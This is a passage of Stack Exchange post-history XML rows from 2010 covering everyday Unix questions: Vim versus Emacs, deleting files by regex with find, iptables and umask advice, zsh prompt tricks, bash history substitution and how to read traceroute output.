  <row Id="1906" PostHistoryTypeId="4" PostId="951" RevisionGUID="912567ab-6ed3-4c8e-9ad2-23b1b7b212d4" CreationDate="2010-08-22T12:40:14.117" UserId="57" Comment="edited title" Text="Where to search for more info if I dont have internet ?" />
  <row Id="1907" PostHistoryTypeId="2" PostId="1008" RevisionGUID="cedd1b93-ea14-48da-a846-67e22a69075a" CreationDate="2010-08-22T12:57:53.677" UserId="57" Text="[Linux Kernel Newbies][1] is a great resource.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kernelnewbies.org/" />
  <row Id="1908" PostHistoryTypeId="16" PostId="986" RevisionGUID="b510c635-0a07-44d0-8b34-9ece00b836f9" CreationDate="2010-08-22T13:16:47.460" UserId="1070" />
  <row Id="1909" PostHistoryTypeId="2" PostId="1009" RevisionGUID="d7b4ddce-2bfd-479c-90cf-0488d9665354" CreationDate="2010-08-22T14:06:51.557" UserId="272" Text="I suggest you read &quot;[Linux Kernel in a Nutshell][1]&quot;, by Greg Kroah-Hartman. A must for every wannabe kernel hacker :-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596100797/" />
  <row Id="1910" PostHistoryTypeId="5" PostId="1009" RevisionGUID="3f35db4a-b2de-45be-a804-d8459eafb294" CreationDate="2010-08-22T14:13:45.643" UserId="272" Comment="added 113 characters in body" Text="I suggest you read &quot;[Linux Kernel in a Nutshell][1]&quot;, by Greg Kroah-Hartman and &quot;[Understanding the Linux Kernel][2]&quot;, by Robert Love. Must reads :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596100797/&#xD;&#xA;  [2]: http://www.amazon.com/Understanding-Linux-Kernel-Third-Daniel/dp/0596005652" />
  <row Id="1911" PostHistoryTypeId="2" PostId="1010" RevisionGUID="2b64bbd8-0b1d-42fe-90dd-ce51ef11b506" CreationDate="2010-08-22T14:18:52.217" UserId="885" Text="I use both, although if I had to choose one, I know which one I would pick. Still, I'll try to make an objective comparison on a few issues.&#xD;&#xA;&#xD;&#xA;* **Available everywhere?** If you're a professional system administrator who works with Unix systems, you need to know vi (not Vim), because it's available on all Unix systems and most Unix-like systems, whether desktop, server or embedded. For an ordinary user, this argument is irrelevant: Emacs is easily available for every desktop/server OS, and since it supports remote editing, it's enough to have it on your desktop machine anyway.&#xD;&#xA;&#xD;&#xA;* **Bloated?** Emacs once stood humorously for “Eight Megabytes And Constantly Swapping”. Right now, on my machine, Google Chrome needs about as much RAM per tab as Emacs does for 100 open files, and I won't even mention Firefox. In the 21st century, Emacs bloat is just a myth.&#xD;&#xA;&#xD;&#xA; *Feature* bloat isn't a problem either. If you don't use it, you don't have to know it's there. Emacs features keep out of the way when you don't use them and the documentation is very well organized.&#xD;&#xA;&#xD;&#xA;* **Startup time**: Vi(m) proponents complain about Emacs's startup time. Yes, Emacs is slow to start up, but this is not a big deal: you start Emacs once per session, then connect to the running process with `emacsclient`. So Emacs's slow startup is mostly a myth.&#xD;&#xA;&#xD;&#xA; There's one exception, which is when you log in to a remote machine and want to edit a file there. Starting a remote Emacs is slower than starting a remote Vim. In some situations you can keep an Emacs running inside Screen. You can also edit remote files from within Emacs, but it does break the flow if you're in an ssh session in a terminal. (Since XEmacs 21 or GNU Emacs 23, you can open an Emacs window from a running X instance inside a terminal.)&#xD;&#xA;&#xD;&#xA;* **Initial learning curve:** This varies from people to people. [Michael Mrozek's graph](http://unix.stackexchange.com/questions/986/vim-vs-emacs-and-no-this-is-not-a-flame-war/988#988) made me chuckle. Seriously, I agree that Vim's learning curve starts steep, steeper than any other editor, although this can be lessened by using gvim.&#xD;&#xA;&#xD;&#xA; Since I've dispelled a couple of Emacs myths, let me dispel a vi myth: a modal editor is not hard or painful to use. It takes a little habit, but after a while it feels very natural. If I was to redesign vi(m), I'd definitely keep the modes.&#xD;&#xA;&#xD;&#xA;* **Asymptotic learning curve:** Both Vim and Emacs have a lot of features, and you will keep discovering new ones after years of use.&#xD;&#xA;&#xD;&#xA;* **Productivity**: This is an extremely hard topic. Proponents of vi(m) argue that you can do pretty much everything without leaving the home row, and that makes you more efficient when you need it most. Proponents of Emacs retort that Emacs has a lot of commands that are not frequently used, so don't warrant a key binding, but are damn convenient when you need them ([obligatory xkcd reference](http://xkcd.com/378/)).  &#xD;&#xA; &lt;sub&gt;My personal opinion is that Emacs ultimately wins unless you have a typing disability (and even then you can configure Emacs to require only key sequences and not combinations like &lt;kbd&gt;Ctrl&lt;/kbd&gt;+letter). Home row keys are nice, but they often aren't that much of a win because you have to switch modes. I don't think there's anything Vim can do *significantly* more efficiently than Emacs, whereas the converse is true.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;* **Customizability**: Both editors are programmable, and there is an extensive body of available packages for both. However, Vim is an editor with a macro language; Emacs is an editor written in Lisp with some ad-hoc primitives. Emacs wins spectacularly when you try to do something that the authors just didn't think of. This doesn't happen every day, but it does accumulate over the years.&#xD;&#xA;&#xD;&#xA;* **More than an editor**: Vim is an editor. Emacs is not just an editor: it's also an IDE, a file manager, a terminal emulator, a web browser, a mail client, a news client, ... Whether that's a good thing or a bad thing is a matter for debate. But you can use Emacs as a mere editor (see “feature bloat” above).&#xD;&#xA;&#xD;&#xA;* **As an IDE**: Both Vim and Emacs have support for a lot of programming languages and other text formats. Beyond the basics such as syntactic coloring and automatic indentation, both have advanced IDE features such as code and documentation cross-reference lookups, assisted insertions and refactoring, integrated version control, and the ability to initiate a compilation and jump to the first error.&#xD;&#xA;&#xD;&#xA; One domain where Emacs is plain better than Vim is interaction with *asynchronous* subprocesses. That's when you start a long compilation and want to do something else inside the same editor instance while the compiler is churning. Or when you want to interact with a [Read-eval-print loop](http://en.wikipedia.org/wiki/Read-eval-print_loop) — Emacs really shines at this, Vim only has clumsy hacks to offer.&#xD;&#xA;" />
  <row Id="1912" PostHistoryTypeId="16" PostId="1010" RevisionGUID="2b64bbd8-0b1d-42fe-90dd-ce51ef11b506" CreationDate="2010-08-22T14:18:52.217" UserId="-1" />
  <row Id="1913" PostHistoryTypeId="2" PostId="1011" RevisionGUID="0e75e087-faa8-4fc5-8131-a5df7004c50a" CreationDate="2010-08-22T15:12:16.777" UserId="1093" Text="how do i delete files in a directory only files that mach a regexp or a similar solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="1914" PostHistoryTypeId="1" PostId="1011" RevisionGUID="0e75e087-faa8-4fc5-8131-a5df7004c50a" CreationDate="2010-08-22T15:12:16.777" UserId="1093" Text="[mac terminal] delete files in a dir that mach a regexp or a similar solution." />
  <row Id="1915" PostHistoryTypeId="3" PostId="1011" RevisionGUID="0e75e087-faa8-4fc5-8131-a5df7004c50a" CreationDate="2010-08-22T15:12:16.777" UserId="1093" Text="élinuxàéfilesystemsàéterminalà" />
  <row Id="1916" PostHistoryTypeId="6" PostId="1003" RevisionGUID="c0bd2a33-d66b-4181-b5f0-9f59487ead58" CreationDate="2010-08-22T15:23:23.573" UserId="160" Comment="edited tags" Text="élinuxàékernelà" />
  <row Id="1917" PostHistoryTypeId="6" PostId="1011" RevisionGUID="26de5b1f-943a-41a0-ac32-9336ed263f8b" CreationDate="2010-08-22T15:52:49.790" UserId="29" Comment="edited tags" Text="élinuxàéshellàéterminalà" />
  <row Id="1918" PostHistoryTypeId="2" PostId="1012" RevisionGUID="d8f9352f-ec7e-4c6e-bea1-7cfda43e9072" CreationDate="2010-08-22T16:01:15.913" UserId="29" Text="Dan Robbins (the creator of Gentoo) wrote a great article on [Stateful Firewall Design][1]. It's by far the easiest to understand `iptables` tutorial. It says '2.4' however all but the kernel config will apply equally as well to '2.6', even though the article is hosted by gentoo (I could have linked to IBM developerworks too) it's distribution independent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/articles/linux-24-stateful-fw-design.xml" />
  <row Id="1919" PostHistoryTypeId="6" PostId="241" RevisionGUID="0c7ff8cf-5be5-451c-a665-e152e0a4149a" CreationDate="2010-08-22T16:01:34.850" UserId="29" Comment="edited tags" Text="élinuxàéfirewallàéiptablesà" />
  <row Id="1920" PostHistoryTypeId="5" PostId="1012" RevisionGUID="d830eacc-170c-4e8c-9c1f-2d1a8f3bfe44" CreationDate="2010-08-22T16:13:10.860" UserId="29" Comment="add another caveat" Text="Dan Robbins (the creator of Gentoo) wrote a great article on [Stateful Firewall Design][1]. It's by far the easiest to understand `iptables` tutorial.&#xD;&#xA;&#xD;&#xA;It says '2.4' however all but the kernel config will apply equally as well to '2.6'. Even though the article is hosted by gentoo (I could have linked to IBM developerworks too) it's distribution independent (except for `emerge iptables` which should be read as use your package manager to get the iptables command). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/articles/linux-24-stateful-fw-design.xml" />
  <row Id="1921" PostHistoryTypeId="2" PostId="1013" RevisionGUID="e9407ed7-0dba-430f-bdc1-54f79ff09bc6" CreationDate="2010-08-22T16:16:55.160" UserId="1094" Text="use the `find` command.  &#xD;&#xA;&#xD;&#xA;Find all files (recursively) matching a regex:  `find . -type f -regex '/ex/'`  &#xD;&#xA;Find all files (recursively) matching a regex and delete them: `find . -type f -regex '/ex/' -exec rm {} \;`&#xD;&#xA;&#xD;&#xA;The brackets store the found pathname, and the backslash escapes the semicolon because it's passed to find; without escaping it, it would be consumed by the shell.  If that went over your head, read the first two chapters of &quot;Learning the Bash Shell&quot;.&#xD;&#xA;&#xD;&#xA;check the man pages for `find` for more options.  There are a lot more ways to search.&#xD;&#xA;" />
  <row Id="1922" PostHistoryTypeId="2" PostId="1014" RevisionGUID="04d34837-c62f-48d1-a3c6-9ef7ec9ded32" CreationDate="2010-08-22T16:20:44.860" UserId="29" Text="Read the [Gentoo Security Handbook][1]. Most of it should apply to any Linux distribution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/security/" />
  <row Id="1923" PostHistoryTypeId="2" PostId="1015" RevisionGUID="43db0c36-477b-4f0f-ab7c-5c374894ad50" CreationDate="2010-08-22T16:22:42.533" UserId="1094" Text="I'm a huge fan of the Wiki over at Rackspace Cloud Servers.  [Their page on IPTables][1] is not as detailed as some of the other stuff out there, but it gets you off the ground without causing too much confusion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudservers.rackspacecloud.com/index.php/Introduction_to_iptables" />
  <row Id="1924" PostHistoryTypeId="5" PostId="1011" RevisionGUID="d95d04e0-564c-4e29-be8f-da32bc0dddd0" CreationDate="2010-08-22T16:28:10.387" UserId="73" Comment="added 6 characters in body; edited title" Text="How do I delete files in a directory that match a given regexp, or a similar solution, using a Mac terminal?" />
  <row Id="1925" PostHistoryTypeId="4" PostId="1011" RevisionGUID="d95d04e0-564c-4e29-be8f-da32bc0dddd0" CreationDate="2010-08-22T16:28:10.387" UserId="73" Comment="added 6 characters in body; edited title" Text="Delete files in a directory that match a regexp, using a Mac terminal" />
  <row Id="1926" PostHistoryTypeId="6" PostId="1011" RevisionGUID="83e0ad99-a642-4921-8e3d-5729ce41eb8f" CreationDate="2010-08-22T16:38:18.690" UserId="85" Comment="edited tags" Text="écommandölineàéshellàéterminalà" />
  <row Id="1927" PostHistoryTypeId="2" PostId="1016" RevisionGUID="0982d2a0-6dd3-4a76-a083-f7ef0a906132" CreationDate="2010-08-22T17:19:08.723" UserId="228" Text="This is what I have been able to gather so far:&#xD;&#xA;&#xD;&#xA;Applications communicate over some sort of private API to the WindowServer process, the WindowServer process is the one that actually gets hardware events (mouse, keyboard) and dispatches those to the client applications. (this is still an open question: what protocol do they use if any, do they use Mach ports and MIG, or some Socket-based API, not sure).    &#xD;&#xA;&#xD;&#xA;Some information is here:&#xD;&#xA;&#xD;&#xA;https://developer.apple.com/mac/library/documentation/MacOSX/Conceptual/OSX_Technology_Overview/GraphicsTechnologies/GraphicsTechnologies.html#//apple_ref/doc/uid/TP40001067-CH273-SW1&#xD;&#xA;&#xD;&#xA;The WindowServer is the Quartz Compositor.   Typically applications use the Quartz2D API which exposed in the CoreGraphics API (CGXXX funtions).   Applications create CoreGraphics &quot;Contexts&quot; (CGContext) and draw there.   Whether the context is pushed when it is done as big bitmap, or if the operations are sent to the server like they are on X11 is still an open question.&#xD;&#xA;&#xD;&#xA;There is a limited API exposed to control certain aspects of the WindowServer process, the sort of configuration settings that are typically done from the Settings application, but there is no documentation on how apps actually communicate graphic requests or pump messages from the server, other than the Carbon/Cocoa APIs exposed." />
  <row Id="1928" PostHistoryTypeId="6" PostId="1011" RevisionGUID="5044b91b-5a7a-46e4-af74-8d0adef5e3a9" CreationDate="2010-08-22T17:43:09.153" UserId="29" Comment="edited tags" Text="écommandölineàéshellà" />
  <row Id="1929" PostHistoryTypeId="2" PostId="1017" RevisionGUID="3e5dee83-b96c-4436-a962-3ac7a325beda" CreationDate="2010-08-22T18:06:26.523" UserId="382" Text="The main reason I don't use vi/vim is that it's modal. The main reason I do use vi is that it's available almost everywhere." />
  <row Id="1930" PostHistoryTypeId="16" PostId="1017" RevisionGUID="3e5dee83-b96c-4436-a962-3ac7a325beda" CreationDate="2010-08-22T18:06:26.523" UserId="-1" />
  <row Id="1931" PostHistoryTypeId="2" PostId="1018" RevisionGUID="f8891f0a-ffed-4759-94d8-5d7b5e055f19" CreationDate="2010-08-22T18:17:32.623" UserId="29" Text="I have this line in my `~/.zshrc`&#xD;&#xA;&#xD;&#xA;    umask 0077&#xD;&#xA;&#xD;&#xA;setting it globally is probably not a good idea, but setting it as the default in your rc file is probably not going to hurt or even setting it as the default in the `/etc/skel/.rc` file. system wide will cause problems though." />
  <row Id="1932" PostHistoryTypeId="2" PostId="1019" RevisionGUID="76890012-126d-48c1-bbf8-87b177c894ca" CreationDate="2010-08-22T19:07:27.360" UserId="29" Text="I found [this][1] via [SU][2] here's the basic example, though I'm still customizing it for myself&#xD;&#xA;&#xD;&#xA;    function zle-line-init zle-keymap-select {&#xD;&#xA;        RPS1=&quot;${${KEYMAP/vicmd/-- NORMAL --}/(main|viins)/-- INSERT --}&quot;&#xD;&#xA;        RPS2=$RPS1&#xD;&#xA;        zle reset-prompt&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    zle -N zle-line-init&#xD;&#xA;    zle -N zle-keymap-select&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'd explain it except I don't really understand it yet&#xD;&#xA;&#xD;&#xA;  [1]: http://zshwiki.org/home/examples/zlewidgets&#xD;&#xA;  [2]: http://superuser.com/questions/151803/how-do-i-customize-zshs-vim-mode" />
  <row Id="1933" PostHistoryTypeId="5" PostId="982" RevisionGUID="a52958f1-e896-4545-a25c-7587b15be8fe" CreationDate="2010-08-22T19:10:07.913" UserId="701" Comment="added link to thread with similar issue" Text="I can't get custom keyboard shortcuts to work, default shortcuts are working properly, but the ones I changed I can only get one of them to work, I'm using the &quot;windows key&quot; to match functionality of Windows 7 for a few keys like maximize window (winkey+up), minimize window (winkey+down), etc; none of them work; for the record **I did the exact same thing in Ubuntu and it worked without any problems.**&#xD;&#xA;&#xD;&#xA;additional info:&#xD;&#xA;I also noticed that gnome-do by default uses a key that I had assigned (winkey+space) and it &quot;wins&quot; (runs gnome-do) over the custom global key I had assigned (show main menu), actually, I can change the key in gnome-do to another that I have in the keyboard shortcuts, and the gnome-do works; this just makes me wonder if there are other applications that are disabling the usage of the &quot;winkey&quot;&#xD;&#xA;&#xD;&#xA;update: I also tried using gconf-editor apps/metacity, adding the keys there, still no luck, I tried _Windows_, _Super_, _Mod4_ for the WinKey name, none worked&#xD;&#xA;&#xD;&#xA;In some apps it seems the WinKey is completely ignored, i.e. it performs the action associated to the key without the WinKey, though, like I said before, there's one or two custom WinKey+SomeKey that ARE working (changed them to something else, stopped working, changed it back, worked again)&#xD;&#xA;&#xD;&#xA;Found &lt;a href=&quot;http://forums.fedoraforum.org/archive/index.php/t-115118.html&quot;&gt;this article from 2006&lt;/a&gt; that sounds very much like the problem I'm having, though I followed the steps to fix it but didn't work for me&#xD;&#xA;&#xD;&#xA;&gt; There seems to be a bug in Gnome /&#xD;&#xA;&gt; Metacity / X somewhere that means you&#xD;&#xA;&gt; can't use SUPER_L or SUPER_R (the left&#xD;&#xA;&gt; and right windows keys on a keyboard)&#xD;&#xA;&gt; with gnome system commands such as&#xD;&#xA;&gt; &quot;Lock Screen&quot;.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://ubuntuforums.org/archive/index.php/t-519765.html&quot;&gt;another thread of the same issue I'm having&lt;/a&gt;" />
  <row Id="1934" PostHistoryTypeId="2" PostId="1020" RevisionGUID="1b2193ac-6ceb-4042-826b-bf1e90250be2" CreationDate="2010-08-22T19:39:05.843" UserId="446" Text="I regularly find myself having to execute a lengthy command on a file, then process the results with other commands. To process the next file, I usually rerun the same command by hitting the &lt;kbd&gt;Up&lt;/kbd&gt; key until I find the command I want and arduously replace the old filename with the new filename.&#xD;&#xA;&#xD;&#xA;Is there a way to combine caret substitution (`^oldfile^newfile`) with the *n* th-last command? I have (unsuccessfully) tried to pipe the *n* th-last command into the substitution like so:&#xD;&#xA;&#xD;&#xA;    $ !-4 | ^old^new&#xD;&#xA;&#xD;&#xA;Of course, I am open to other suggestions. These little shortcuts really help with productivity..." />
  <row Id="1935" PostHistoryTypeId="1" PostId="1020" RevisionGUID="1b2193ac-6ceb-4042-826b-bf1e90250be2" CreationDate="2010-08-22T19:39:05.843" UserId="446" Text="How can I apply caret-substitution to my nth-last command?" />
  <row Id="1936" PostHistoryTypeId="3" PostId="1020" RevisionGUID="1b2193ac-6ceb-4042-826b-bf1e90250be2" CreationDate="2010-08-22T19:39:05.843" UserId="446" Text="écommandölineàébashà" />
  <row Id="1937" PostHistoryTypeId="2" PostId="1021" RevisionGUID="76a9188a-199c-4bb3-b950-e7335da6859c" CreationDate="2010-08-22T19:49:44.747" UserId="29" Text="You could write lengthy command as a shell function that takes a filename as a parameter and then just type `function filename` when you need it." />
  <row Id="1938" PostHistoryTypeId="2" PostId="1022" RevisionGUID="2a8483d5-54d8-46e9-a1a0-694b47f04741" CreationDate="2010-08-22T19:56:33.360" UserId="29" Text="lets's say my prompt looks like this (the _ represents my cursor)&#xD;&#xA;&#xD;&#xA;    ~ % _&#xD;&#xA;&#xD;&#xA;is there any way I could make it look like this&#xD;&#xA;&#xD;&#xA;    ~ % _&#xD;&#xA;    [some status]" />
  <row Id="1939" PostHistoryTypeId="1" PostId="1022" RevisionGUID="2a8483d5-54d8-46e9-a1a0-694b47f04741" CreationDate="2010-08-22T19:56:33.360" UserId="29" Text="Is it possible to display stuff below the prompt at a prompt?" />
  <row Id="1940" PostHistoryTypeId="3" PostId="1022" RevisionGUID="2a8483d5-54d8-46e9-a1a0-694b47f04741" CreationDate="2010-08-22T19:56:33.360" UserId="29" Text="écommandölineàéshellàézshàépromptà" />
  <row Id="1941" PostHistoryTypeId="2" PostId="1023" RevisionGUID="a25c7817-0cb6-4ee8-b2c7-6d7995ef2aa5" CreationDate="2010-08-22T19:59:58.360" UserId="912" Text="For example in this pic taken from [Wikipedia][1]&#xD;&#xA;&#xD;&#xA;[[Bigger Version]][2]&#xD;&#xA;&#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;  1. What are all these 12 server names that are listed? I know they are servers that are supposed to be the path that the network packet had to travel to reach the destination. But why do I need to go to any server except the server that actually serves the request by providing me the file I requested?&#xD;&#xA;&#xD;&#xA;  2. What are the three timing informations that are mentioned for each server name?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Traceroute&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/File%3aTraceroute.png&#xD;&#xA;  [3]: http://i.imgur.com/nwP2c.png" />
  <row Id="1942" PostHistoryTypeId="1" PostId="1023" RevisionGUID="a25c7817-0cb6-4ee8-b2c7-6d7995ef2aa5" CreationDate="2010-08-22T19:59:58.360" UserId="912" Text="How to interpret traceroute information?" />
  <row Id="1943" PostHistoryTypeId="3" PostId="1023" RevisionGUID="a25c7817-0cb6-4ee8-b2c7-6d7995ef2aa5" CreationDate="2010-08-22T19:59:58.360" UserId="912" Text="élinuxàécommandölineàéunixà" />
  <row Id="1944" PostHistoryTypeId="2" PostId="1024" RevisionGUID="b20a09b5-b845-4926-9bc7-1552fedd6155" CreationDate="2010-08-22T20:11:47.197" UserId="1099" Text="Umask would not be appropriate if you are trying to control what other users can see from each other. However, if you have and work with numerous files that are sensitive to the point that being asked for permission to access them is less bothersome/risky than just letting people see whatever they want, than a umask of 077 would be a good idea.&#xD;&#xA;&#xD;&#xA;I have some sensitive files on a file server I manage. I think setting a restrictive umask then having a periodic script, maybe a cron job to set more specific permissions to items in certain folders would be an ideal solution for me. When I set this up I will post back here, and let you know how it worked.&#xD;&#xA;&#xD;&#xA;@[The guys bashing sudo] Start a new thread for it, it could take several threads of it's own and this thread is about umask." />
  <row Id="1945" PostHistoryTypeId="5" PostId="1023" RevisionGUID="d37a9ad6-bf4b-465f-b2a6-95420e27140f" CreationDate="2010-08-22T20:21:11.577" UserId="912" Comment="added 926 characters in body" Text="For example in this pic taken from [Wikipedia][1]&#xD;&#xA;&#xD;&#xA;[[Bigger Version]][2]&#xD;&#xA;&#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;  1. What are all these 12 server names that are listed? I know they are servers that are supposed to be the path that the network packet had to travel to reach the destination. But why do I need to go to any server except the server that actually serves the request by providing me the file I requested?&#xD;&#xA;&#xD;&#xA;  2. What are the three timing informations that are mentioned for each server name?&#xD;&#xA;&#xD;&#xA;---------&#xD;&#xA;Isn't the process supposed to be like this (copied from [here][4])?&#xD;&#xA;&#xD;&#xA;&gt;The browser communicated with a name server to translate the server name  www.howstuffworks.com&quot; into an IP Address, which it uses to connect to the server machine.&#xD;&#xA;The browser then formed a connection to the server at that IP address on port 80. (We'll discuss ports later in this article.)&#xD;&#xA;Following the HTTP protocol, the browser sent a GET request to the server, asking for the file &quot;http://www.howstuffworks.com/web-server.htm.&quot; (Note that cookies may be sent from browser to server with the GET request -- see How Internet Cookies Work for details.)&#xD;&#xA;The server then sent the HTML text for the Web page to the browser. (Cookies may also be sent from server to browser in the header for the page.)&#xD;&#xA;The browser read the HTML tags and formatted the page onto your screen.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Traceroute&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/File%3aTraceroute.png&#xD;&#xA;  [3]: http://i.imgur.com/nwP2c.png&#xD;&#xA;  [4]: http://www.howstuffworks.com/web-server.htm/printable" />
  <row Id="1946" PostHistoryTypeId="2" PostId="1025" RevisionGUID="95cd9680-58d1-45ce-8ae7-83baa570183d" CreationDate="2010-08-22T20:21:39.813" UserId="73" Text="You can't do it with a [quick substitution](http://www.gnu.org/software/bash/manual/bashref.html#Event-Designators) directly, because `^foo^bar` is shorthand for:&#xD;&#xA;&#xD;&#xA;    !!:s/foo/bar/&#xD;&#xA;&#xD;&#xA;The `!!` part (which refers to the last command) isn't part of the quic syntax (that's what makes it quick), but you *can* use the longer syntax directly and then modify the `!!` to whatever you want:&#xD;&#xA;&#xD;&#xA;    !-4:s/foo/bar/&#xD;&#xA;&#xD;&#xA;I explained as much of the history syntax as I know in [this post](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/67#67); the last section includes the `:s` modifier" />
  <row Id="1947" PostHistoryTypeId="4" PostId="996" RevisionGUID="c60acecf-7ca4-4e54-9fc6-660e7b6f0f0e" CreationDate="2010-08-22T20:22:11.780" UserId="912" Comment="edited title" Text="Do we have an undo in Linux?" />
  <row Id="1948" PostHistoryTypeId="2" PostId="1026" RevisionGUID="88385fd1-9dfb-487e-88e3-fc2c4a59289a" CreationDate="2010-08-22T20:30:18.283" UserId="73" Text="The 12 servers are the servers the packet had to go through to get to wikimedia's server. You need to go through 12 servers because your computer isn't connected directly into wikimedia's server. It *is* connected to a computer at xs4all.net (an ISP, naturally), which is connected to another xs4net computer, which is connected to wvfiber.net, which is connected to as30217.net, which is connected to wikimedia.org, so that's the best path the routers could find to get the packet to the destination. If your computer was plugged directly into the target computer there would be only one hop; try tracerouting to another computer on your network:&#xD;&#xA;&#xD;&#xA;    &gt; [mrozekma@etudes-2 ~] % traceroute etudes-1&#xD;&#xA;    traceroute to etudes-1 (192.168.0.10), 30 hops max, 40 byte packets&#xD;&#xA;     1  etudes-1 (192.168.0.10)  0.196 ms  0.190 ms  0.152 ms&#xD;&#xA;&#xD;&#xA;The timing information on the right side of each hop is the route trip time for the packet. By default three packets are sent per hop, so it shows three timings; if you give traceroute the `-q` option you can control how many packets are sent:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &gt; [mrozekma@etudes-2 ~] % traceroute -q 1 etudes-1&#xD;&#xA;    traceroute to etudes-1 (192.168.0.10), 30 hops max, 40 byte packets&#xD;&#xA;     1  etudes-1 (192.168.0.10)  0.177 ms&#xD;&#xA;" />
  <row Id="1949" PostHistoryTypeId="2" PostId="1027" RevisionGUID="602c6867-14e8-4943-bb86-0bed034c5abb" CreationDate="2010-08-22T20:33:40.243" UserId="912" Text="How can I check what encoding (ASCII, UTF-8, UTF-16 etc) my Terminal uses?&#xD;&#xA;&#xD;&#xA;It shouldn't matter, but I am using Konsole on `KDE3.5`." />
  <row Id="1950" PostHistoryTypeId="1" PostId="1027" RevisionGUID="602c6867-14e8-4943-bb86-0bed034c5abb" CreationDate="2010-08-22T20:33:40.243" UserId="912" Text="What encoding does my Konsole support?" />
  <row Id="1951" PostHistoryTypeId="3" PostId="1027" RevisionGUID="602c6867-14e8-4943-bb86-0bed034c5abb" CreationDate="2010-08-22T20:33:40.243" UserId="912" Text="élinuxàéunixàéterminalàécharacteröencodingà" />
  <row Id="1952" PostHistoryTypeId="5" PostId="1025" RevisionGUID="aec079f3-09da-4393-a2c5-a4bd87b62762" CreationDate="2010-08-22T20:36:22.937" UserId="73" Comment="added 1 characters in body" Text="You can't do it with a [quick substitution](http://www.gnu.org/software/bash/manual/bashref.html#Event-Designators) directly, because `^foo^bar` is shorthand for:&#xD;&#xA;&#xD;&#xA;    !!:s/foo/bar/&#xD;&#xA;&#xD;&#xA;The `!!` part (which refers to the last command) isn't part of the quick syntax (that's what makes it quick), but you *can* use the longer syntax directly and then modify the `!!` to whatever you want:&#xD;&#xA;&#xD;&#xA;    !-4:s/foo/bar/&#xD;&#xA;&#xD;&#xA;I explained as much of the history syntax as I know in [this post](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/67#67); the last section includes the `:s` modifier" />
  <row Id="1953" PostHistoryTypeId="5" PostId="1026" RevisionGUID="4236316e-aa01-497d-97a3-b2ee47f0d64e" CreationDate="2010-08-22T20:37:27.613" UserId="73" Comment="deleted 14 characters in body; deleted 2 characters in body; edited body; added 6 characters in body" Text="The 12 lines are the nodes the packet had to go through to get to wikimedia's server. You need to go through 12 nodes because your computer isn't connected directly into wikimedia's server. It *is* connected to a node at xs4all.net (an ISP, naturally), which is connected to another xs4net node, which is connected to wvfiber.net, which is connected to as30217.net, which is connected to wikimedia.org, so that's the best path the routers could find to get the packet to the destination. If your computer was plugged directly into the target computer there would be only one hop; try tracerouting to another computer on your local network:&#xD;&#xA;&#xD;&#xA;    &gt; [mrozekma@etudes-2 ~] % traceroute etudes-1&#xD;&#xA;    traceroute to etudes-1 (192.168.0.10), 30 hops max, 40 byte packets&#xD;&#xA;     1  etudes-1 (192.168.0.10)  0.196 ms  0.190 ms  0.152 ms&#xD;&#xA;&#xD;&#xA;The timing information on the right side of each hop is the round-trip time for the packet. By default three packets are sent per hop, so it shows three timings; if you give traceroute the `-q` option you can control how many packets are sent:&#xD;&#xA;&#xD;&#xA;    &gt; [mrozekma@etudes-2 ~] % traceroute -q 1 etudes-1&#xD;&#xA;    traceroute to etudes-1 (192.168.0.10), 30 hops max, 40 byte packets&#xD;&#xA;     1  etudes-1 (192.168.0.10)  0.177 ms&#xD;&#xA;" />
  <row Id="1954" PostHistoryTypeId="2" PostId="1028" RevisionGUID="c7deeed2-bd69-452a-bc8e-a1e09c63b2ac" CreationDate="2010-08-22T20:42:51.567" UserId="885" Text="The hosts shown by traceroute are not servers, they're routers. Traceroute shows the hops on the [IP](http://en.wikipedia.org/wiki/Internet_Protocol) route from the computer of the person who took this snapshot to the wikipedia server. The description of HTTP that you quote looks at a much higher level where all this routing is transparent.&#xD;&#xA;&#xD;&#xA;I think the best way of explaining this is through a metaphor. HTTP (for example) requires a bidirectional communication channel between the client and the server; this channel is provided by [TCP](http://en.wikipedia.org/wiki/Transmission_Control_Protocol). TCP is built in turn on top of IP. The goal of IP is to transmit packets from one IP address to another. An TCP connection requires IP packets going from the client to the server and IP packets going from the server to the client.&#xD;&#xA;&#xD;&#xA;Ok, now think of each IP packet as a letter that you drop in a mail box and that the Post Office carries to its destination. Traceroute shows all the stages on the journey of the letter from your dwelling to the recipient's dwelling: the mail box it's dropped in, the town post office, the district sorting office, the regional mail hub, etc., until the letter reaches the recipient's mail slot. This is basically what you see when you watch the progress of a registered tracked parcel with DHL/UPS/...&#xD;&#xA;&#xD;&#xA;In this example, the first two hops are called `….xs4all.net`; they're clearly from the snapshot author's ISP. The next few lines are from [WV Fiber](http://www.wvfiber.net/), which operates international transit lines. I don't know who `as30217.net` is; probably an ISP for datacenters. The final two machines are from Wikipedia.&#xD;&#xA;&#xD;&#xA;IP routing is completely transparent to higher-level protocols such as TCP and *a fortiori* all protocols built over TCP. In fact, traceroute has to play some [tricks](http://en.wikipedia.org/wiki/Traceroute#Implementation) to obtain the information at 